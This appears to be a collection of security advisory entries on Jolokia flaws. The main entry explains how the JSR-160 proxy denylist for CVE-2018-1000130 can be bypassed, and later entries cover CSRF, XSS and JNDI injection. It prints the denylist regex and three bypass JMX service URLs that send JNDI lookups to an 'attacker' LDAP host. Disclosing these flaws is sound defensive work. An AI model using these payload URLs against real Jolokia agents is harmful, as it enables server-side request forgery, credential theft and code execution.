A flaw was found in Jolokia's JSR-160 proxy functionality where insufficient validation of client-controlled JMX service URLs allows a bypass of the denylist introduced to mitigate CVE-2018-1000130. The proxy accepts a target.url value from a Jolokia POST request and passes it to JMXServiceURL and JMXConnectorFactory for establishing the remote JMX connection. The existing denylist only rejects URLs matching service:jmx:rmi:///jndi/ldap:., which can be bypassed using alternative valid JMX service URL forms, including ldaps:// schemes or LDAP URLs with a non-empty JMX host component. These URLs are accepted as valid JMXServiceURL objects and can cause the Jolokia agent JVM to perform a JNDI lookup against an attacker-controlled LDAP endpoint. This can result in server-side request forgery (SSRF), forwarding of supplied JMX credentials to the remote endpoint, and potentially remote code execution depending on the classes and configuration available in the target JVM.

Jolokia's JSR-160 proxy mode accepts a client-supplied JMX service URL (target.url in a POST body) and connects to it using JMXConnectorFactory. The fix for CVE-2018-1000130 (Jolokia 1.5.0, 2018) added a default denylist to block LDAP-based JNDI injection. That denylist consists of a single regular expression, which remains identical on both the 1.x and 2.x branches as of this writing:

service:jmx:rmi:///jndi/ldap:.

Matching is performed as a full-string regex match (Pattern.compile(pattern, CASEINSENSITIVE).matcher(url).matches()).

This pattern is incomplete. At least three classes of LDAP JNDI URLs pass through the filter:

Bypass 1 -- ldaps:// scheme: The pattern requires the literal substring ldap: immediately after /jndi/. The LDAP-over-TLS scheme ldaps: does not match.

Bypassing URL: service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref

Bypass 2 -- Non-empty JMX host in the service URL: The pattern is anchored to service:jmx:rmi:///jndi/... (three slashes, meaning the JMX host component is empty). A JMX service URL with a non-empty host such as service:jmx:rmi://localhost/jndi/ldap://... is a valid JMXServiceURL whose path is still /jndi/ldap://..., but the full string does not match the regex.

Bypassing URL: service:jmx:rmi://localhost/jndi/ldap://attacker:1389/o=ref Bypassing URL: service:jmx:rmi://127.0.0.1:0/jndi/ldap://attacker:1389/o=ref

All three bypass URLs parse into valid JMXServiceURL objects and, when passed to JMXConnectorFactory.newJMXConnector().connect(), trigger a JNDI lookup against the attacker-controlled endpoint.

Upstream Issue: https://github.com/jolokia/jolokia/issues/1049

A flaw was found in Jolokia versions from 1.2 to before 1.6.1. Affected versions are vulnerable to a system-wide CSRF. This holds true for properly configured instances with strict checking for origin and referrer headers. This could result in a Remote Code Execution attack.

An XSS attack can be performed by manipulating the mimeType query parameter to coerce the Web browser to display the JSON response directly. However, the Jolokia responses are not shown directly in the browser but used by a JavaScript library, which has to perform its own escaping of user provided response data.

External References:

https://jolokia.org/#Securityfixeswith1.5.0

References:

https://snyk.io/vuln/SNYK-JAVA-ORGJOLOKIA-32136

A JNDI Injection vulnerability exists in Jolokia agent version 1.3.7 in the proxy mode that allows a remote attacker to run arbitrary Java code on the server.

Cross-site request forgery (CSRF) vulnerability in Jolokia before 1.2.1 allows remote attackers to hijack the authentication of users for requests that execute MBeans methods via a crafted web page.